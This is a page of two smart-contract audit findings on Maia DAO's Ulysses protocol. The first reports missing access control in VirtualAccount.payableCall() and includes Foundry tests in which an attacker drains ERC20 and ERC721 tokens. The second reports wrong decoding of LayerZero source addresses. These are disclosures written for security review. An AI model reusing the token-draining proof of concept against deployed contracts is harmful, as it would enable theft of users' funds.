Maia DAO - Ulysses - KingNFT's results

Lines of code

https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/VirtualAccount.sol#L85

Vulnerability details

Impact

The payableCall() function is designed to execute any calls on behalf of owner of VirtualAccount contract. The absence of access control would cause fund in VirtualAccount to be stolen by anyone.

File: src\VirtualAccount.sol
085:     function payableCall(PayableCall[] calldata calls) public payable returns (bytes[] memory returnData) {
// @audit missing "requiresApprovedCaller" modifier
086:         uint256 valAccumulator;
087:         uint256 length = calls.length;
088:         returnData = new bytes[](length);
089:         PayableCall calldata _call;
090:         for (uint256 i = 0; i < length;) {
091:             _call = calls[i];
092:             uint256 val = _call.value;
093:             // Humanity will be a Type V Kardashev Civilization before this overflows - andreas
094:             // ~ 10^25 Wei in existence << ~ 10^76 size uint fits in a uint256
095:             unchecked {
096:                 valAccumulator += val;
097:             }
098: 
099:             bool success;
100: 
101:             if (isContract(_call.target)) (success, returnData[i]) = _call.target.call{value: val}(_call.callData);
102: 
103:             if (!success) revert CallFailed();
104: 
105:             unchecked {
106:                 ++i;
107:             }
108:         }
109: 
110:         // Finally, make sure the msg.value = SUM(call[0...i].value)
111:         if (msg.value != valAccumulator) revert CallFailed();
112:     }

Proof of Concept

The test cases below show both ERC20 and ERC721 tokens could be withdrawn from VirtualAccount by an irrelevant account:

//SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.8.16;

import "./helpers/ImportHelper.sol";
import "../../src/VirtualAccount.sol";
import {PayableCall} from "../../src/interfaces/IVirtualAccount.sol";
import {MockERC721} from "solmate/test/utils/mocks/MockERC721.sol";


contract VirtualAccountBug is DSTestPlus {
    uint16 rootChainId = uint16(42161);
    address owner = address(0xaaaa);
    address user = address(0xbbbb);
    address attacker = address(0xcccc);
    RootPort rootPort;
    ArbitrumBranchPort localPortAddress;
    VirtualAccount virtualAccount;
    MockERC20 erc20Token;
    MockERC721 erc721Token;

    function setUp() public {
        rootPort = new RootPort(rootChainId);
        localPortAddress = new ArbitrumBranchPort(rootChainId, address(rootPort), owner);
        virtualAccount = new VirtualAccount(user, address(localPortAddress));
        erc20Token = new MockERC20("USDC", "USDC", 18);
        erc721Token = new MockERC721("Non-fungible token", "NFT");
    }

    function testVirtualAccountBug_StealERC20Token() public {
        erc20Token.mint(address(virtualAccount), 1000e6);
        assertEq(1000e6, erc20Token.balanceOf(address(virtualAccount)));
        assertEq(0, erc20Token.balanceOf(attacker));

        PayableCall[] memory calls = new PayableCall[](1);
        calls[0].target = address(erc20Token);
        calls[0].callData = abi.encodeWithSignature("transfer(address,uint256)", attacker, 1000e6);
        calls[0].value = 0;
        hevm.startPrank(attacker);
        virtualAccount.payableCall(calls);
        hevm.stopPrank();

        assertEq(0, erc20Token.balanceOf(address(virtualAccount)));
        assertEq(1000e6, erc20Token.balanceOf(attacker));
    }

    function testVirtualAccountBug_StealERC721Token() public {
        uint256 tokenID = 1;
        erc721Token.mint(address(virtualAccount), tokenID);
        assertEq(address(virtualAccount), erc721Token.ownerOf(tokenID));

        PayableCall[] memory calls = new PayableCall[](1);
        calls[0].target = address(erc721Token);
        calls[0].callData = abi.encodeWithSignature(
            "transferFrom(address,address,uint256)",
            address(virtualAccount),
            attacker,
            tokenID
        );
        calls[0].value = 0;
        hevm.startPrank(attacker);
        virtualAccount.payableCall(calls);
        hevm.stopPrank();

        assertEq(attacker, erc721Token.ownerOf(tokenID));
    }

}

Test log:

2023-09-maia> forge test --match-test testVirtualAccountBug
[⠆] Compiling...
No files changed, compilation skipped

Running 2 tests for test/ulysses-omnichain/VirtualAccountBug.t.sol:VirtualAccountBug
[PASS] testVirtualAccountBug_StealERC20Token() (gas: 77098)
[PASS] testVirtualAccountBug_StealERC721Token() (gas: 77953)
Test result: ok. 2 passed; 0 failed; 0 skipped; finished in 2.17ms
Ran 1 test suites: 2 tests passed, 0 failed, 0 skipped (2 total tests)

Tools Used

Manually review

Recommended Mitigation Steps

Applying requiresApprovedCaller modifier.

Assessed type

Access Control

Lines of code

https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/BranchBridgeAgent.sol#L943 https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/RootBridgeAgent.sol#L1212

Vulnerability details

Impact

The _requiresEndpoint() function of BranchBridgeAgent contract and the requiresEndpoint modifier of RootBridgeAgent contract don't decode remote caller correctly , which would cause all cross-chain calls of the Ulysses protocol to fail inevitably.

Proof of Concept

Below is the call stack of LayerZero relayers submitting cross-chain call to a target chain:

Relayer -> UltraLightNodeV2 -> Endpoint -> APP

we can verify the above call procedure by the following case, which is sent by the Stargate APP from Arbitrum to Ethereum via LayerZero: https://etherscan.io/tx/0x89ad01a750b701f40106089b24730c9c9cc48860b9ba3c9f8fb7b1619a5d0685

please pay attention on the PacketReceived event (link), emitted by UltraLightNodeV2 (0x4D73AdB72bC3DD368966edD0f0b2148401A178E2), contains cross-chain path information:

srcChainId = 110
dstAddress = 0x296F55F8Fb28E498B858d0BcDA06D955B2Cb3f97
srcAddress = 0x352d8275AAE3e0c2404d9f68f6cEE084B5bEB3DD

let's dive deeper on the call between Endpoint(0x66A71Dcef29A0fFBDBE3c6a460a3B5BC225Cd675) and APP(Stargate Bridge) https://dashboard.tenderly.co/tx/mainnet/0x89ad01a750b701f40106089b24730c9c9cc48860b9ba3c9f8fb7b1619a5d0685?trace=0.2.0.3.0

we can get

(Endpoint => Bridge) .lzReceive(_srcChainId = 110, _srcAddress = 0x352d8275aae3e0c2404d9f68f6cee084b5beb3dd296f55f8fb28e498b858d0bcda06d955b2cb3f97, _nonce = 150418, _payload = 0x0000000000000000000000000000000000000000000000000000000000000001000000000000000000000000000000000000000000000000000000000000000d000000000000000000000000000000000000000000000000000000000000000d000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000630f7f51707b8e6a7d000000000000000000000000000000000000000000000000011b9a6b767acd0700000000000000000000000000000000000000000000000000007114355c1f0400000000000000000000000000000000000000000000000000002c13d23113f5000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000002c13d23113f5000000000000000000000000000000000000000000000000011c63a7503913f500000000000000000000000000000000000000000000000000000000000001c00000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000001426f10640ddd00dd4fc219c255caaab12255b80230000000000000000000000000000000000000000000000000000000000000000000000000000000000000000) => ()

look at the _srcAddress parameter

_srcAddress = 0x352d8275aae3e0c2404d9f68f6cee084b5beb3dd296f55f8fb28e498b858d0bcda06d955b2cb3f97

we can find

_srcAddress = concat(0x352d8275AAE3e0c2404d9f68f6cEE084B5bEB3DD, 0x296F55F8Fb28E498B858d0BcDA06D955B2Cb3f97)

that is the _srcAddress is actually a concatenation of [srcAddress][dstAddress]

we can also verify the above observation on source code of UltraLightNodeV2 and Endpoint contracts: https://etherscan.io/address/0x4D73AdB72bC3DD368966edD0f0b2148401A178E2#code#F21#L111

076:     function validateTransactionProof(uint16 _srcChainId, address _dstAddress, uint _gasLimit, bytes32 _lookupHash, bytes32 _blockData, bytes calldata _transactionProof) external override {
...
110: 
111:         bytes memory pathData = abi.encodePacked(_packet.srcAddress, _packet.dstAddress);
112:         emit PacketReceived(_packet.srcChainId, _packet.srcAddress, _packet.dstAddress, _packet.nonce, keccak256(_packet.payload));
113:         endpoint.receivePayload(_srcChainId, pathData, _dstAddress, _packet.nonce, _gasLimit, _packet.payload);
114:     }

https://etherscan.io/address/0x66a71dcef29a0ffbdbe3c6a460a3b5bc225cd675#code#F1#L100

File: D:\programs\Microsoft VS Code\Untitled-1
100:     function receivePayload(uint16 _srcChainId, bytes calldata _srcAddress, address _dstAddress, uint64 _nonce, uint _gasLimit, bytes calldata _payload) external override receiveNonReentrant {
...
117: 
118:         try ILayerZeroReceiver(_dstAddress).lzReceive{gas: _gasLimit}(_srcChainId, _srcAddress, _nonce, _payload) {
119:             // ...
120:         } catch (bytes memory reason) {
...
124:         }
125:     }

But the Ulysses protocol decodes _srcAddress as [dstAddress][srcAddress]: please pay attention on L943 of BranchBridgeAgent.sol and L1212 of RootBridgeAgent.sol, the second 20 bytes are taken from the _srcAddress parameter as the remote caller address, but actually the first 20 bytes is the correct remote caller.

File: src\BranchBridgeAgent.sol
936:     function _requiresEndpoint(address _endpoint, bytes calldata _srcAddress) internal view virtual {
937:         //Verify Endpoint
938:         if (msg.sender != address(this)) revert LayerZeroUnauthorizedEndpoint();
939:         if (_endpoint != lzEndpointAddress) revert LayerZeroUnauthorizedEndpoint();
940: 
941:         //Verify Remote Caller
942:         if (_srcAddress.length != 40) revert LayerZeroUnauthorizedCaller();
943:         if (rootBridgeAgentAddress != address(uint160(bytes20(_srcAddress[20:])))) revert LayerZeroUnauthorizedCaller();
944:     }


File: src\RootBridgeAgent.sol
1204:     modifier requiresEndpoint(address _endpoint, uint16 _srcChain, bytes calldata _srcAddress) virtual {
1205:         if (msg.sender != address(this)) revert LayerZeroUnauthorizedEndpoint();
1206: 
1207:         if (_endpoint != getBranchBridgeAgent[localChainId]) {
1208:             if (_endpoint != lzEndpointAddress) revert LayerZeroUnauthorizedEndpoint();
1209: 
1210:             if (_srcAddress.length != 40) revert LayerZeroUnauthorizedCaller();
1211: 
1212:             if (getBranchBridgeAgent[_srcChain] != address(uint160(bytes20(_srcAddress[PARAMS_ADDRESS_SIZE:])))) {
1213:                 revert LayerZeroUnauthorizedCaller();
1214:             }
1215:         }
1216:         _;
1217:     }

Hence, all Ulysses protocol's cross-chain calls would revert due to verification failure of remote BridgeAgent.

Tools Used

Manually review

Recommended Mitigation Steps

Decode _srcAddress parameter as how UltraLightNodeV2 encodes it.

Assessed type

en/de-code